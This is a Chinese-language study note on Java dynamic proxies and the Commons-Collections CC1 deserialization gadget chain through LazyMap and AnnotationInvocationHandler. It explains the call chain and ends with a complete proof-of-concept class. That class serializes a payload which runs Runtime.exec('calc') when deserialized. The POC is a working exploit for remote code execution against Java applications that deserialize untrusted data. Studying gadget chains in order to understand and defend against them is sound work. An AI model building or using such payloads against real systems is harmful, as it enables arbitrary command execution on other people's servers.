Java对象代理
Java 可以使用 java.reflect.Proxy 实现对象方法的代理,即调用这个方法之前再调用一些别的函数,
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
如下是P牛给的代理类,需要实现invoke方法
public class ExampleInvocationHandler implements InvocationHandler {protected Map map;public ExampleInvocationHandler(Map map){this.map = map;}public Object invoke(Object proxy, Method method, Object[] args) throws Throwable{if (method.getName().compareTo("get") == 0){System.out.println("Hook method: " + method.getName());return "Hacked Object";}return method.invoke(this.map, args);}}
运行demo:
public class main {public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException {Map map = new HashMap();ExampleInvocationHandler handler = new ExampleInvocationHandler(map);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),map.getClass().getInterfaces(), handler);proxyMap.get("1");}}
- 给map加了代理Handler,返回了代理类proxyMap
LazyMap
LazyMap也是对Map的一种装饰, 装饰之后的lazyMap具有慢加载的特质, 在调用其get方法时会触发transformer.transform的调用:
生成一个LazyMap:Map lazyMap = LazyMap.decorate(map,transformerChain);lazyMap.get(0); -> transformerChain.transform(0);
CC1 via LazyMap
思路:
- 用transformer数组修饰Map生成LazyMap
- 触发LazyMap的get方法
- 触发LazyMap的get方法
- 可以使用AnnotationInvocationHandler类, 它就是一个代理类且AnnotationInvocationHandler#invoke中会调用memberValues的get方法. -> 随便代理一个Map对象即可
- 把proxyMap再用AnnotationInvocationHandler包装一下
调用链:
AnnotationInvocationHandler#readObject-> (memberValues)proxyMap.entrySet();-> AnnotationInvocationHandler#invoke-> (memberValues)lazyMap.get()-> transformerChain.transform(0);
POC:
package test.com.cc;public class cc1_lazyMap {public static byte[] payload() throws IOException, ClassNotFoundException,InvocationTargetException, InstantiationException, IllegalAccessException,NoSuchMethodException, NoSuchFieldException {// Runtime obj = (Runtime)Runtime.class.getMethod("getRuntime").invoke(Runtime.class);// obj.exec("calc");Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{ null, null }),new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}),};Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); // iTransformersMap map = new HashMap();Map lazyMap = LazyMap.decorate(map,transformerChain);// LazyMap在调用get方法的时候会触发transformer.transformmap.put("value",1);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);InvocationHandler handler = (InvocationHandler)constructor.newInstance(Retention.class, lazyMap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),lazyMap.getClass().getInterfaces(),handler);// proxyMap.put(1,1);Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain,transformers);Object payload = constructor.newInstance(Retention.class, proxyMap);return Serializer.Serialize(payload);}}
